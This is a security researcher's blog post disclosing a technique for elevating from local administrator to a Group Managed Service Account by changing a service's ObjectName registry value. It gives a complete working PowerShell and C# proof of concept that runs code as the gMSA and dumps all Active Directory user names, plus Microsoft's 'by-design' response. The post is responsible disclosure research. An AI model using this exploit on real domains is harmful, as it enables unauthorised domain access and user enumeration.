Elevation of Privilege from Local Admin to gMSA

Elevation of Privilege from Local Admin to gMSA

In my previous blog post I explained how Group Managed Service Accounts (gMSA) passwords are stored locally on the servers. In this blog, I’ll share how you can easily elevate yourself from the local administrator to gMSA without a need to know the account password.

I’m already using this technique in AADInternals to execute code as AD FS service account.

Introduction

I explained in my previous blog post what gMSAs are so here’s just a summary of different service principals (accounts):

Principals Services supported Password management
Computer Account of Windows system Limited to one domain joined server Computer manages
Computer Account without Windows system Any domain joined server None
Virtual Account Limited to one server Computer manages
Windows 7 standalone Managed Service Account Limited to one domain joined server Computer manages
User Account Any domain joined server None
Group Managed Service Account Any Windows Server 2012 domain-joined server The domain controller manages, and the host retrieves

As gMSA is a domain account, it gives access to domain services (depending on configuration).

Installing service account to a local computer

Before you can use a service account to run your services, it needs to be installed on the computer.

Install-ADServiceAccount documentation:

The Install-ADServiceAccount cmdlet installs an existing Active Directory managed service account on the computer on which the cmdlet is run. This cmdlet verifies that the computer is eligible to host the managed service account. The cmdlet also makes the required changes locally so that the managed service account password can be managed without requiring any user action.

Here’s a simple example of installing AD FS gMSA account to the local computer:

# Install a managed service account on the local computer:
Install-ADServiceAccount -Identity 'gmsaADFS'

Note! Running this command requires that the account has permissions to access the password, i.e. it is listed in the PrincipalsAllowedToRetrieveManagedPassword property of the gMSA object.

Elevation of Privilege

Prerequisities

Just to recap, elavating from the local admin to gMSA requires that gMSA is installed on the local computer.

Modifying registry

The trick is actually quite simple. Every service has a registry entry at:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service name>

If the service is configured to be run as other account than Local System, it has a property ObjectName which contains the name of the account. As such, we just need to add the name of the gMSA account to ObjectName property of the target service:

gmsa poc

And that’s it! Now, let’s see how to exploit this to run arbitrary PowerShell commands as gMSA!

A sample service

For the proof-of-concept, I decided to built a simple service (inspired by Jean-François Larvoire’s PSService.ps1) that runs arbitrary PowerShell script.

The PoC consists of two files:

File Description
run_poc.ps1 Script to install, run, and delete the service
service.ps1 The script to be run as the gMSA

Here is the contents of run_poc.ps1:

# Replace with your gMSA account name. Remember to include the trailing dollar sign.
$gMSA = 'AADINTERNALS\gmsaADFS$'

$serviceName = "EoP_demo"

# Create the service executable
$source=@"
using System;
using System.ServiceProcess;
using System.Diagnostics;

public class $serviceName : ServiceBase
{ 

	public $serviceName() 
	{
		ServiceName = "$serviceName";
		CanStop = true;
		CanPauseAndContinue = false;
	}

	protected override void OnStart(string [] args) 
	{
		try 
		{
			Process p = new Process();
			p.StartInfo.UseShellExecute = false;
			p.StartInfo.FileName = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
			p.StartInfo.Arguments = "-noprofile -noninteractive -executionpolicy bypass -file C:\\EoP_demo\\service.ps1";
			p.Start();
			p.WaitForExit();
		} 
		catch (Exception) {}
	}

	public static void Main() 
	{
		System.ServiceProcess.ServiceBase.Run(new $serviceName());
	}
}
"@

# Create the service executable
Add-Type -TypeDefinition $source -Language CSharp -OutputAssembly "C:\EoP_demo\service.exe" -OutputType ConsoleApplication -ReferencedAssemblies "System.ServiceProcess" -Debug:$false

# Create a new service running as local system
Write-Host " Creating service $serviceName to be run as Local System"
$service = New-Service -Name $serviceName -BinaryPathName "C:\EoP_demo\service.exe"

# Modify the service to run as gMSA
Write-Host " Changing user to $gMSA"
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$serviceName" -Name "ObjectName" -Value $gMSA

# Start the service
Write-Host " Starting service $serviceName"
Start-Service -Name $serviceName

# Stop and delete the service
Write-Host " Stopping service $serviceName"
Stop-Service $ServiceName -ErrorAction SilentlyContinue | Out-Null
Write-Host " Deleting service $serviceName"
SC.exe DELETE $ServiceName | Out-Null

Here is the contents of service.ps1:

# Run whoami
whoami | Set-Content C:\EoP_demo\whoami.txt

# Dump AD users
Get-ADUser -Filter * | Where-Object UserPrincipalName -ne $null |Select-Object -ExpandProperty UserPrincipalName | Set-Content C:\EoP_demo\upns.txt

To run the PoC:

  1. Place all files to C:\EoP_demo gmsa poc
  2. Make C:\EoP_demo accessible to Everyone (full control) gmsa poc
  3. Run the script:
C:\EoP_demo\run_poc.ps1

Output:

 Creating service EoP_demo to be run as Local System
 Changing user to AADINTERNALS\gmsaADFS$
 Starting service EoP_demo
 Stopping service EoP_demo
 Deleting service EoP_demo

The should now be three new files in C:\EoP_demo, the service.exe and two .txt files:

gmsa poc

The whoami.txt should contain the name of the gMSA account:

gmsa poc

And the upns.txt should contain the upns of all AD users:

gmsa poc

Communication with Microsoft

Even though I suspected this to be “by-design”, I decided to inform MSRC about my findings.

Date Description
Aug 23 2022 Reported to Microsoft
Sep 2 2022 “By-design” response

We have completed our investigation and assessed this as a low severity defense in depth issue. One of the reasons for that is that is that current Microsoft guidance around gMSA accounts is that a gSMA’s accesses should be limited to things that are necessary to perform the role of the service it’s designed for. Even without the gSMA credential there are opportunities for a local administrator to injecting into a gSMA’s service on the machine and achieving the same result.

Therefore, this report does not meet our bar for servicing in a security update. Please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).

MSRC’s comment that local admins could inject to any service process anyways is interesting. I’d imagine running something in a legit way is a bit different (and way less noisy) than injecting something to a running process.

Summary

Local administrators can run services as gMSA simply by modifying registry, as long as the gMSA is installed on the server. As confirmed by MSRC, this is by-design. Anyways, this is a simple way to elevate from local admin to a domain user in a persistent way.

References

Dr Nestori Syynimaa (@DrAzureAD) avatar
About Dr Nestori Syynimaa (@DrAzureAD)
Dr Syynimaa works as Principal Identity Security Researcher at Microsoft Security Research.
Before his security researcher career, Dr Syynimaa worked as a CIO, consultant, trainer, and university lecturer for over 20 years. He is a regular speaker in scientific and professional conferences related to Microsoft 365 and Entra ID (Azure AD) security.

Before joining Microsoft, Dr Syynimaa was Microsoft MVP in security category and Microsoft Most Valuable Security Researcher (MVR).